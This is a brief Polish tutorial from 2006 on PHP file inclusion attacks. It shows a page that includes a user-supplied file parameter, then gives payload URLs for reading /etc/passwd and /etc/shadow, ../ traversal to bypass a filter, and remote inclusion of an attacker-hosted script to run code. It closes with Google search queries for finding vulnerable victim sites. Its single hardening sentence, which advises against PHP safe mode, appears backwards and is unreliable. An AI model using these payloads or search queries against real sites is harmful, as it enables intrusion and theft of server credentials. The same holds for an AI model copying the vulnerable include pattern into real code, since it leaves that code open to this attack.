PHP injection
-- Sebastian Pawlak, 2006.
Wiele stron stworzonych w PHP wykorzystuje przekazywanie
parametrów postaci: http://adres/index.php?parametr1=wartosc1¶metr2=wartosc2. Problem pojawia się wtedy, kiedy twórca takiej strony przez parametr
przekazuje odniesienie do jakiegoś pliku na swoim serwerze, który to
plik jest dołączany do zawartości poprzez funkcję include().
Można wtedy spreparować odniesienie do pliku przekazywane jako parametr
w ten sposób, aby wskazywało na plik zdalny bądź inny, niż zamierzone przez autora strony,
plik na serwerze lokalnym.
Przykładowo, autor strony zrealizował ją w mniej więcej taki sposób:
<HTML> <TITLE>Moja strona</TITLE> <BODY> <A href="index.php?file=witaj.php">Witaj na mojej stronie</A> <A href="index.php?file=oautorze.php">O autorze</A> <?PHP if (!isset($_GET["file"])) include("witaj.php"); else include($_GET["file"]); ?> </BODY> </HTML>
Możemy spróbować wyświetlić jakiś inny, niż zamierzone przez autora
strony, plik: http://adres_strony/index.php?file=/etc/passwd.
Jeśli serwer działa z prawami roota, można spróbować wyświetlić
plik /etc/shadow. Niektórzy autorzy, podatnych na opisane ataki, stron
tworzą zabezpieczenie poprzez usunięcie pierwszego slasha (jeśli występuje
on) z łańcucha znaków przekazywanego jako parametr (jeśli przekażemy
/etc/passwd, to skrypt przekształca ten napis na: etc/passwd).
W ten sposób autorzy próbują zabezpieczyć się przed możliwością
dostępu do pliku spoza lokalnego katalogu. W takim przypadku można
spróbować użyć konstrukcji: ../../../../../../../../etc/passwd.
Można także wykonać dowolny skrypt PHP na serwerze ofiary. W tym celu
na dostępnym dla nas koncie wystawiamy plik ze skryptem (plik nie może
mieć rozszerzenia .php, aby nie wykonał się przed pobraniem).
Następnie wywołujemy stronę ofiary: http://adres_strony/index.php?file=http://adres_strony_ze_skryptem/skrypt.
Autor strony nie powinien korzystać z PHP z włączoną opcją safe mode.
Jak znaleźć strony podatne na opisane powyżej techniki ataku?
Z pomocą przychodzi nam Google. Mi udało się odnaleźć kilka podatnych
stron poprzez zapytania:
allinurl: index.php?file=
allinurl: index.php?url=
allinurl: index.php3?file=
allinurl: index.php3?url=